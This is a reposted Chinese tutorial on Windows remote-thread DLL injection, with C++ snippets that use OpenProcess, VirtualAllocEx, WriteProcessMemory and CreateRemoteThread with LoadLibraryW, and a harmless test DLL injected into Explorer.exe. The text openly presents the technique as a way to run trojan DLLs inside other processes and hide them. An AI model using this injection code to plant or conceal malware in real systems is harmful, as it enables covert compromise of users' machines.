用Visual C++实现远程线程嵌入技术
出处:sushangwen 发布于:2008-06-05 15:01:41
远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。 但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程耶!)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。例如在远程进程内部启动一个DLL木马(与进入进程内部相比,启动一个DLL木马是小意思,实际上我们可以随意篡改那个远程进程的数据)。
首先,我们通过OpenProcESS 来打开我们试图嵌入的进程(如果远程进程不允许打开,那么嵌入就无法进行了,这往往是由于权限不足引起的,解决方法是通过种种途径提升本地进程的权限)
| hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | file://允许远程创建线程 PROCESS_VM_OPERATION | file://允许远程VM操作 PROCESS_VM_WRITE,//允许远程VM写 FALSE, dwRemoteProcessId ) |
由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。
然后,我们可以建立LoadLibraryW函数这个线程来启动我们的DLL木马,LoadLibraryW函数是在kernel32.dll中定义的,用来加载DLL文件,它只有一个参数,就是DLL文件的路径名pszLibFileName,(也就是木马DLL的全路径文件名),但是由于木马DLL是在远程进程内调用的,所以我们首先还需要将这个文件名复制到远程地址空间:(否则远程线程是无法读到这个参数的)
| file://计算DLL路径名需要的内存空间 int cb = (1 + lSTrlenW(pszLibFileName)) * sizeof(WCHAR); file://使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区 pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE); file://使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间 iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL); file://计算LoadLibraryW的入口地址 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); |
万事俱备,我们通过建立远程线程时的地址pfnStartAddr(实际上就是LoadLibraryW的入口地址)和传递的参数pszLibFileRemote(实际上是我们复制过去的木马DLL的全路径文件名)在远程进程内启动我们的木马DLL:
| file://启动远程线程LoadLibraryW,通过远程线程调用用户的DLL文件 hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL); |
| BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved) { char szProcessId[64] ; switch ( reason ) { case DLL_PROCESS_ATTACH: { file://获取当前进程ID _itoa ( GetCurrentProcessId(), szProcessId, 10 ); MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK ); } default: return TRUE; } } |
当我使用RmtDll.exe程序将这个TestDLL.dll嵌入Explorer.exe进程后(PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具也能看到
| Process ID: 1208 C:\WINNT\Explorer.exe (0x00400000) …… C:\TestDLL.dll (0x100000000) …… |
这证明TestDLL.dll已经在Explorer.exe进程内正确地运行了。
无论是使用特洛伊DLL还是使用远程线程,都是让木马的代码运行于别的进程的内存空间,这样不仅能很好地隐藏自己,也能更好的保护自己。
版权与免责声明
凡本网注明“出处:维库电子市场网”的所有作品,版权均属于维库电子市场网,转载请必须注明维库电子市场网,https://www.dzsc.com,违反者本网将追究相关法律责任。
本网转载并注明自其它出处的作品,目的在于传递更多信息,并不代表本网赞同其观点或证实其内容的真实性,不承担此类作品侵权行为的直接责任及连带责任。其他媒体、网站或个人从本网转载时,必须保留本网注明的作品出处,并自负版权等法律责任。
如涉及作品内容、版权等问题,请在作品发表之日起一周内与本网联系,否则视为放弃相关权利。
- 深度解析 PLC 定时器:从 T 定时到 D 长定时的突破2026/4/30 15:04:33
- 多年 PLC 经验,这些调试步骤不能错过!2026/4/21 13:55:28
- EDA技术工具链与全流程设计运维指南2026/1/5 10:28:51
- PLC程序现场疑难问题排查与深度优化指南2025/12/24 14:36:36
- PLC程序现场调试与优化实操指南2025/12/24 14:29:57









